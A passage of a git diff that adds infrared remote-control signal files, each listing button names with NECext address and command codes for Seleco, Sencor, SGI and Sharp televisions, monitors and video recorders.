+address: 04 00 00 00 +command: 56 00 00 00 +# +name: A-B.RPT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir new file mode 100644 index 000000000..21b3a03c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: MIXED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: 1- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: 2- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir new file mode 100644 index 000000000..4cc14ba64 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 12 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 13 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 15 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 16 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 19 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 22 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir b/assets/resources/infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir new file mode 100644 index 000000000..c12f87495 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER2 +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 80 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 82 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 84 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 85 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 86 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 FC 00 00 +command: 87 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir b/assets/resources/infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir new file mode 100644 index 000000000..fa63e97bd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: hcent-plus +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 0C 00 00 00 +# +name: hcent-min +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 0D 00 00 00 +# +name: vcent-plus +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 0E 00 00 00 +# +name: vcent-min +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 0F 00 00 00 +# +name: tilt-right +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 10 00 00 00 +# +name: tilt-left +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 11 00 00 00 +# +name: contr-plus +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 18 00 00 00 +# +name: contr-min +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 19 00 00 00 +# +name: bright-plus +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 1E 00 00 00 +# +name: bright-min +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 1F 00 00 00 +# +name: hsize-plus +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 26 00 00 00 +# +name: hsize-min +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 27 00 00 00 +# +name: vsize-plus +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 28 00 00 00 +# +name: vsize-min +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 29 00 00 00 +# +name: hstat-plus +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 2A 00 00 00 +# +name: hstat-min +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 2B 00 00 00 +# +name: vstat-plus +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 2C 00 00 00 +# +name: vstat-min +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 2D 00 00 00 +# +name: color-h +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 3B 00 00 00 +# +name: color-m +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 3C 00 00 00 +# +name: color-l +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 3D 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir new file mode 100644 index 000000000..859d16cc1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir new file mode 100644 index 000000000..734b094ad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: AUDIO/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: C4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir new file mode 100644 index 000000000..1356d679a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: FLASHBACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir new file mode 100644 index 000000000..f5f90b8df --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: CH_SWAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir new file mode 100644 index 000000000..b4b235f5a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: START/STOP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 21 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 22 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 23 00 00 00 +# +name: F.ADV/STROBE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 24 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 25 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 27 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 29 00 00 00 +# +name: ZOOM_T +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 45 00 00 00 +# +name: ZOOM_W +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 46 00 00 00 +# +name: MODE_ON/OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 91 00 00 00 +# +name: MARK_IN/OUT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 92 00 00 00 +# +name: MARK_DELETE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 93 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 94 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 95 00 00 00 +# +name: DISPLAY_ON/OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 96 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 97 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 98 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: A4 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: A5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir new file mode 100644 index 000000000..3a0dd9515 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: C-LOCK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: TIMER_ON_OFF +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: PAUSE_STILL +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 33 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 37 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 83 00 00 00 +# +name: TRACKING_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 85 00 00 00 +# +name: TRACKING_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 86 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 8C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir new file mode 100644 index 000000000..53f98f815 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_1_abc +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_2_def +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_3_ghi +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_4_jkl +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_5_mno +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_6_pqr +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_7_stu +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_8_vwxyz +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_9_mark +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0_spanish +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0_space +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: program_timer +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: disp_del +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: ch_scan +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: setup_move +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: fback_clr +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: message +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: calendar +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 76 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir new file mode 100644 index 000000000..13bdf1313 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: num1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: num2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: num3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: num4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: num5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: num6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: num7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: num8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: num9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: num0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: tv_video +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: vol_mute +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: screen_time +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: screen_blank +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: screen_smaller +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: screen_switch +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: screen_close +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 35 00 00 00 +# +name: screen_s +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: screen_bigger +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: screen_question +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: num_switch +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: p_c +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 +# +name: pr +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4B 00 00 00 +# +name: screen_info +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4C 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 +# +name: KEY_P +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: KEY_S +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 61 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir new file mode 100644 index 000000000..368229109 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 